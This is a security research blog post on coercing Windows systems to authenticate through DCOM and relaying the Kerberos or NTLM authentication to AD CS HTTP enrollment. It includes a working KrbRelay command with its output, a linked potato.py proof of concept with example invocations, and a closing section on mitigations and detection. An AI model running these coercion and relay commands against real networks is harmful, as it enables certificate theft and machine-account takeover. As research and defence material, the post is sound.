Earlier this year, several security researchers published research about using DCOM to coerce Windows systems to authenticate to other systems. This can be misused to relay the authentication to NTLM or Kerberos, to AD CS over HTTP for instance.

This sounds like a hot and complex topic. Let’s take a look back how this started and how it works.

Where it all started

In February, Andrea Pierini posted a technique resembling his previous potato exploits but triggering the authentication from a remote server instead of the local machine. He discovered DCOM interfaces on AD CS servers which allow him to receive authenticated connections that can be relayed:

In his blogpost, he explained that it’s not only possible to coerce NTLM connections, but also Kerberos authenticated connections, because the SPN can be controlled by the attacker.

To this, Tianze Ding replied that relaying to Kerberos is even more powerful, because it can be relayed back to the coerced machine:

Finally, a few months later, Andrea Pierini let the cat out of the bag and released his SilverPotato, which demonstrated remote cross-session coercion. This allows an attacker to not only coerce the machine account for authentication, but also the account of any other logged in user on the remote system.

https://twitter.com/decoder_it/status/1783134821784428671

When I read the first tweet in February, my curiosity was piqued and I modified the KrbRelay project to make it remote and cross-session capable, because Andrea did not release his PoC code. A few lines of code and it worked, easy enough!

PoC||GTFO

The following modified version of KrbRelay coerces the AD CS system ca1.child.testlab.local via the DCOM interface to authenticate to the attacker’s IP address 10.0.1.10 using the attacker-controlled SPN http/ca1.child.testlab.local. Because Kerberos authentication can be relayed back to the originating machine, the received connection can be relayed to the AD CS HTTP enrollment endpoint to get a certificate for the authenticated machine account:

> KrbRelay.exe  -spn http/ca1.child.testlab.local -clsid D99E6E74-FC88-11D0-B498-00A0C90312F3 -endpoint certsrv/ -adcs Computer -target ca1.child.testlab.local -relayip 10.0.1.10
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\Users\tmassie\Documents\krb\KrbRelay.exe
[*] Register com server

[*] Forcing SYSTEM authentication
[*] Using CLSID: d99e6e74-fc88-11d0-b498-00a0c90312f3
[*] apReq: 6082072[CUT BY COMPASS]88218873
[*] apRep1: 6f818[CUT BY COMPASS]adb7d4
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, ReplayDetect, SequenceDetect, Confidentiality, UseDceStyle, Connection
[*] apRep2: 6f5b3[CUT BY COMPASS]3c25dbb
[+] HTTP session established
[*] Authentication Cookie;
ASPSESSIONIDACRTDCAR=GLCJEKBBBFHOPLEGHFMLCJNM; path=/
[*] Requesting a certificate
[*] Testing: Computer
[+] Found valid template: Computer
[*] SUCCESS (ReqID: 4)
[*] Downloading certificate
[*] Exporting certificate & private key
MIACAQ[CUT BY COMPASS]BAAAAA==

This certificate can now be used to authenticate as the machine account and finally take over the system (e.g. via RBCD or Shadow Credentials).

Coercion using DCOM

How does it work? In talk at Black Hat Asia 2024, Tianze Ding explains the DCOM coercion primitive used:

  1. The attacker remotely activates a COM class using a crafted storage object
  2. During unmarshalling, the COM server connects to the attacker’s server
    • first over RPC to resolve the network address of the machine where the remote COM object is (via the OXID resolver)
    • then over COM to access the storage
  3. These two connections are authenticated and can be relayed. Because the OXID resolver of the attacker is used, the attacker can specify an arbitrary SPN which is used in the 2nd authentication. This 2nd authentication can then be relayed (DCOM hardening only allows relay to HTTP or unprotected LDAP)

Potato.py

Fair enough. But I wanted to understand what happens under the hood, so I decided to try to implement the coercion mechanism in Python using Impacket.

The Process

RemoteCreateInstance and the associated structures are already implemented in Impacket. So how hard can it be? Well not easy!

I started looking at the packet sent by Windows (using KrbRelay.exe) and filling the structure accordingly. This was not enough. Comparing packets was difficult because of the poor support of Wireshark for ISystemActivator, so I ended up extending the Wireshark dissector for DCOM in the doing.

After long hours of debugging and fixing some DCOM structures, I finally got a working PoC, you can find it here: https://github.com/sploutchy/impacket/blob/potato/examples/potato.py

How-To

The tool takes a target, a relay target, a CLSID and optionally a session ID and/or an SPN:

$ potato.py -h   
Impacket v0.12.0.dev1+20240627.132501.185402b6 - Copyright 2023 Fortra

usage: potato.py [-h] [-debug] -clsid CLSID [-relay-ip IP] [-relay-hostname HOSTNAME] [-relay-port HOSTNAME] [session-id SESSION_ID] [-kerberos]
                 [-spn PROTOCOL\SERVER] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-target-ip ip address]
                 target

Potato implementation.

positional arguments:
  target                    [[domain/]username[:password]@]<targetName or address>

options:
  -h, --help                show this help message and exit
  -debug                    Turn DEBUG output ON

potato:
  -clsid CLSID              A DCOM CLSID
  -relay-ip IP              The IP of the relayer (yourself?)
  -relay-hostname HOSTNAME  The hostname of the relayer (yourself?)
  -relay-port HOSTNAME      The RPC port of the relayer
  -session-id SESSION_ID    Session ID to perform cross-session activation (default to nothing = SYSTEM activation)
  -kerberos                 Perform relay to kerberos
  -spn PROTOCOL\SERVER      SPN to use for the kerberos relaying

authentication:
  -hashes LMHASH:NTHASH     NTLM hashes, format is LMHASH:NTHASH
  -no-pass                  don't ask for password (useful for -k)
  -k                        Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target
                            parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -aesKey hex key           AES key to use for Kerberos Authentication (128 or 256 bits)

connection:
  -dc-ip ip address         IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address     IP Address of the target machine. If omitted it will use whatever was specified as target. This is
                            useful when target is the NetBIOS name and you cannot resolve it

As an example, using the CertSrv COM class to trigger a Kerberos-authenticated connection on the machine CA1 to the machine with hostname KALI would look like:

$ potato.py -clsid 'D99E6E74-FC88-11D0-B498-00A0C90312F3' -relay-hostname KALI -kerberos -spn http/ca1.child.testlab.local child/
        
            tm*****@CA*.local
            
                
                
                
            
            
                
                
                
            
        

And using the SPPUI COM class to trigger a cross-session connection from whoever is logged in session 2 on the machine DC1 to IP 10.0.1.15 would look like:

$ potato.py -clsid 'F87B28F1-DA9A-4F35-8EC0-800EFCF26B83' -relay-ip 10.0.1.15 -session-id 2 'child/
        
            tm*****@DC*.local
            
                
                
                
            
            
                
                
                
            
        
'

The Relaying

Now Impacket’s ntlmrelayx does not understand RPC. Here comes myself from 4 years ago to the rescue. The Impacket fork where the potato.py PoC resides also contains an RPC relay server, so that relaying is possible.

However (since November 2022) due to DCOM Hardening, the connection will have Packet Integrity enforced, hence you can only relay to targets which do not support signing/integrity at all (e.g. HTTP).

What about Kerberos? You’d have to implement an OXID resolver (hint) and implement the relaying to Kerberos. This exercise is left to the reader!

Defense

Microsoft’s “fixes”

The so-called silver potato was fixed, as far as I understand. The incriminated COM class was hardened to not allow cross-session activation. See https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38061

As mentioned above, since November 2022, DCOM Hardening enforces packet integrity for all (DCOM) connections.

Microsoft plans to decommission NTLM in Windows 11 and Windows Server 2025.

Mitigations for relay attacks

  • Disable HTTP endpoints on AD CS servers
  • Enforce packet signing for clients and servers throughout your network
  • Network segmentation as well as the least privilege principle can help prevent relaying attacks.
  • Stop using NTLM now!

Detecting relay attack

Monitor Logon logs, a mismatch between the source workstation and network address may indicate NTLM relaying.

References